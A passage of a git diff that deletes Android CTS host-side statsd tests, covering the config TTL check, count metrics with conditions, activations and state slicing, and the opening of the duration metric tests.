- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metadata;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.os.StatsLog.StatsdStatsReport.ConfigStats;
-import com.android.tradefed.log.LogUtil;
-
-
-import java.util.List;
-
-/**
- * Statsd Metadata tests.
- */
-public class MetadataTests extends MetadataTestCase {
-
-    private static final String TAG = "Statsd.MetadataTests";
-
-    // Tests that the statsd config is reset after the specified ttl.
-    public void testConfigTtl() throws Exception {
-        final int TTL_TIME_SEC = 8;
-        StatsdConfig.Builder config = getBaseConfig();
-        config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
-
-        uploadConfig(config);
-        long startTime = System.currentTimeMillis();
-        Thread.sleep(WAIT_TIME_SHORT);
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        boolean foundActiveConfig = false;
-        int creationTime = 0;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
-
-        while(System.currentTimeMillis() - startTime < 8_000) {
-            Thread.sleep(10);
-        }
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        report = getStatsdStatsReport();
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        foundActiveConfig = false;
-        int expectedTime = creationTime + TTL_TIME_SEC;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                // Original config should be TTL'd
-                if (stats.getCreationTimeSec() == creationTime) {
-                    assertWithMessage("Config should have TTL'd but is still active")
-                            .that(stats.hasDeletionTimeSec()).isTrue();
-                    assertWithMessage(
-                            "Config deletion time should be about %s after creation", TTL_TIME_SEC
-                    ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
-                }
-                // There should still be one active config, that is marked as reset.
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                    assertWithMessage("Active config after TTL should be marked as reset")
-                            .that(stats.hasResetTimeSec()).isTrue();
-                    assertWithMessage("Reset and creation time should be equal for TTl'd configs")
-                            .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
-                    assertWithMessage(
-                            "Reset config should be created when the original config TTL'd"
-                    ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config after the TTL")
-                .that(foundActiveConfig).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
deleted file mode 100644
index a63e01e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ /dev/null
@@ -1,433 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.CountBucketInfo;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class CountMetricsTests extends DeviceAtomTestCase {
-
-    public void testSimpleEventCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-    }
-    public void testEventCountWithCondition() throws Exception {
-        int startMatcherId = 1;
-        int endMatcherId = 2;
-        int whatMatcherId = 3;
-        int conditionId = 4;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-               MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcher(startMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcher(endMatcherId);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId))
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addPredicate(p);
-
-        uploadConfig(builder);
-
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
-    }
-
-    public void testEventCountWithConditionAndActivation() throws Exception {
-        int startMatcherId = 1;
-        int startMatcherLabel = 1;
-        int endMatcherId = 2;
-        int endMatcherLabel = 2;
-        int whatMatcherId = 3;
-        int whatMatcherLabel = 3;
-        int conditionId = 4;
-        int activationMatcherId = 5;
-        int activationMatcherLabel = 5;
-        int ttlSec = 5;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(whatMatcherId, whatMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(startMatcherId, startMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcherWithLabel(endMatcherId, endMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addAtomMatcher(activationMatcher)
-                .addPredicate(p)
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.COUNT_METRIC_ID)
-                        .setActivationType(StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setTtlSeconds(ttlSec)));
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 1.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 2.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(endMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-        assertThat(countData.getDataCount()).isEqualTo(1);
-        assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
-    }
-
-    public void testPartialBucketCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.ONE_DAY)  // Should ensure partial bucket.
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-
-        builder.getCountMetricBuilder(0).setBucket(StatsdConfigProto.TimeUnit.CTS);
-        uploadConfig(builder);  // The count metric had a partial bucket.
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(WAIT_TIME_LONG); // Finish the current bucket.
-
-        ConfigMetricsReportList reports = getReportList();
-        LogUtil.CLog.d("Got following report list: " + reports.toString());
-
-        assertThat(reports.getReportsCount()).isEqualTo(2);
-        boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
-                reports.getReports(1).getCurrentReportWallClockNanos();
-
-        // Only 1 metric, so there should only be 1 StatsLogReport.
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            assertThat(report.getMetricsCount()).isEqualTo(1);
-            assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
-        }
-        CountMetricData data1 =
-                reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
-        CountMetricData data2 =
-                reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
-        // Data1 should have only 1 bucket, and it should be a partial bucket.
-        // The count should be 1.
-        assertThat(data1.getBucketInfoCount()).isEqualTo(1);
-        CountBucketInfo bucketInfo = data1.getBucketInfo(0);
-        assertThat(bucketInfo.getCount()).isEqualTo(1);
-        assertWithMessage("First report's bucket should be less than 1 day")
-                .that(bucketInfo.getEndBucketElapsedNanos())
-                .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
-                        1_000_000_000L * 60L * 60L * 24L);
-
-        //Second report should have a count of 2.
-        assertThat(data2.getBucketInfoCount()).isAtMost(2);
-        int totalCount = 0;
-        for (CountBucketInfo bucket : data2.getBucketInfoList()) {
-            totalCount += bucket.getCount();
-        }
-        assertThat(totalCount).isEqualTo(2);
-    }
-
-    public void testSlicedStateCountMetricNoReset() throws Exception {
-        int whatMatcherId = 3;
-        int stateId = 4;
-        int onStateGroupId = 5;
-        int offStateGroupId = 6;
-
-        // Atom 9998 {
-        //     repeated AttributionNode attribution_node = 1;
-        //     optional WakeLockLevelEnum type = 2;
-        //     optional string tag = 3;
-        // }
-        int whatAtomId = 9_998;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.getAtomMatcher(whatAtomId)
-                        .setId(whatMatcherId)
-                        .build();
-
-        StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
-            .setId(stateId)
-            .setAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setMap(StatsdConfigProto.StateMap.newBuilder()
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(onStateGroupId)
-                            .addValue(WakelockStateChanged.State.ACQUIRE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)
-                    )
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(offStateGroupId)
-                            .addValue(WakelockStateChanged.State.RELEASE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
-            .setStateAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setFieldsInWhat(FieldMatcher.newBuilder()
-                    .setField(whatAtomId)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(1)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(2)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(3)
-                    )
-            )
-            .setFieldsInState(FieldMatcher.newBuilder()
-                    .setField(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TAG_FIELD_NUMBER)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                    .setId(MetricsUtils.COUNT_METRIC_ID)
-                    .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                    .setWhat(whatMatcherId)
-                    .addSliceByState(stateId)
-                    .addStateLink(stateLink)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addState(state);
-        uploadConfig(builder);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSliceByWakelockState");
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
-        assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-
-        List<CountMetricData> sortedDataList = IntStream.range(0, dataWrapper.getDataCount())
-                .mapToObj(i -> {
-                        CountMetricData data = dataWrapper.getData(i);
-                        assertWithMessage("Unexpected SliceByState count for data[%s]", "" + i)
-                                .that(data.getSliceByStateCount()).isEqualTo(1);
-                        return data;
-                })
-                .sorted((data1, data2) ->
-                        Long.compare(data1.getSliceByState(0).getGroupId(),
-                                data2.getSliceByState(0).getGroupId())
-                )
-                .collect(Collectors.toList());
-
-        CountMetricData data = sortedDataList.get(0);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(onStateGroupId);
-        long totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(6);
-
-        data = sortedDataList.get(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(offStateGroupId);
-        totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(3);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
deleted file mode 100644
index 65cef95..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ /dev/null
@@ -1,569 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-
-import java.util.List;
-
-public class DurationMetricsTests extends DeviceAtomTestCase {
-
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
-
-    public void testDurationMetric() throws Exception {
-        final int label = 1;
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, label);
-        AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, label);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcher);
-        builder.addAtomMatcher(stopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicate.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Create AppBreadcrumbReported Start/Stop events.
-        doAppBreadcrumbReportedStart(label);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(label);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfo(0).getDurationNanos())
-                .isIn(Range.open(0L, (long)1e9));
-    }
-
-    public void testDurationMetricWithCondition() throws Exception {
-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-
-        builder
-            .addPredicate(predicate)
-            .addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                );
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithActivation() throws Exception {
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-        final int durationLabel = 1;
-
-        // Add AtomMatchers.
